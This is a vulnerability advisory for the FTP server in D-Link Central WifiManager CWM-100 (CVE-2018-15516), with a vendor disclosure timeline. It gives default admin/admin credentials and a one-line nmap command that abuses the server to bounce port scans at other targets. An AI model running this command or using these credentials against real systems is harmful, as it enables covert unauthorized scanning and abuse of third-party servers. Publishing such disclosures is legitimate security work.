D-LINK Central WifiManager CWM-100 FTP Server PORT Bounce Scan CVE-2018-15516

[apparitionsec () gmail com]

[+] Credits: John Page (aka hyp3rlinx)          
[+] Website: hyp3rlinx.altervista.org
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/DLINK-CENTRAL-WIFI-MANAGER-CWM-100-FTP-SERVER-PORT-BOUNCE-SCAN.txt
[+] ISR: ApparitionSec          
 

***Greetz: indoushka | Eduardo B.***


[Vendor]
us.dlink.com


[Product]
D-LINK Central WifiManager (CWM 100)
Version 1.03 r0098
http://us.dlink.com/products/business-solutions/central-wifimanager-software-controller/

D-Link’s free Central WiFiManager is a web-based wireless Access Point management tool, enabling you to create and 
manage multi-site, multi-tenancy wireless networks.


[Vulnerability Type]
FTP Server PORT Bounce Scan


[CVE Reference]
CVE-2018-15516


[Security Issue]
The FTP Server component of the D-LINK Central WifiManager can be used as a man-in-the-middle machine allowing PORT 
Command bounce scan attacks.
This vulnerability allows remote attackers to abuse your network and discreetly conduct network port scanning. Victims 
will then think these
scans are originating from the D-LINK network running the afflicted FTP Server and not you.


[Exploit/POC]
D-LINK CWM-100 FTP Server listens on port 9000 (default), default creds are "admin" "admin"

nmap -v -b admin:admin@VICTIM-IP:9000  <TARGET-IP> -p 21,22,23,53,445


[POC Video URL]
https://vimeo.com/299797225


[Network Access]
Remote



[Severity]
Medium



[Disclosure Timeline]
Vendor Notification: August 8, 2018
Vendor acknowledgement: August 8, 2018
CVE assigned Mitre: August 18, 2018
Request update: August 31, 2018
No reply from vendor
Request update: September 6, 2018
Vendor: "R&D has begun this month to patch your report." : September 12, 2018
Request update: October 3, 2018
Vendor: "will release a new beta for QA verification by end of this month 10'2018."
Request update: October 16, 2018
no reply from vendor
Request update: October 23, 2018
Vendor: "It still is schedule to be released by the 31st." : October 23, 2018
Inform vendor of disclosure by November 8, 2018 : October 31, 2018
No reply from vendor
November 8, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use 
or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by 
reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided 
that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no 
responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security 
related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx